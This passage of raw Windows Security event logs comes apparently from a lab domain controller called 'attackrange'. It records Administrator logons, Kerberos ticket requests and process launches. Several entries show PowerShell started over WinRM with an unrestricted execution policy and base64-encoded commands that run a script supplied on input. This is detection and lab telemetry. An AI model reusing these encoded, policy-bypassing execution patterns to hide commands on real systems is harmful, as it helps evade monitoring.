ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {CC8A76A5-A36E-290A-81F1-B1C5FDC2AC7A} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:20 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=252773 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {CC8A76A5-A36E-290A-81F1-B1C5FDC2AC7A} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:20 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=252772 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:20 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252771 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x172333 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1324 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xd7c - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Administrator\AppData\Local\Temp\gpfbrhor\gpfbrhor.cmdline" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252834 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x17A557 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252833 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x17A557 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {32764149-6E35-1478-BBEF-FFC76C714C9B} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252832 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {32764149-6E35-1478-BBEF-FFC76C714C9B} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=252831 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {32764149-6E35-1478-BBEF-FFC76C714C9B} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=252830 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252829 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x178A74 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x48c - New Process Name: C:\Windows\System32\chcp.com - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x4d0 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\system32\chcp.com" 65001 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252828 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x178A74 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x4d0 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x12b4 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA== - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252827 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x17923F - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252826 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x17923F - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {32764149-6E35-1478-BBEF-FFC76C714C9B} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252825 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {32764149-6E35-1478-BBEF-FFC76C714C9B} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=252824 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {32764149-6E35-1478-BBEF-FFC76C714C9B} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=252823 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252822 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x178A74 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12b4 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x61c - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:21 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252821 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x178A74 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x61c - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x984 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQ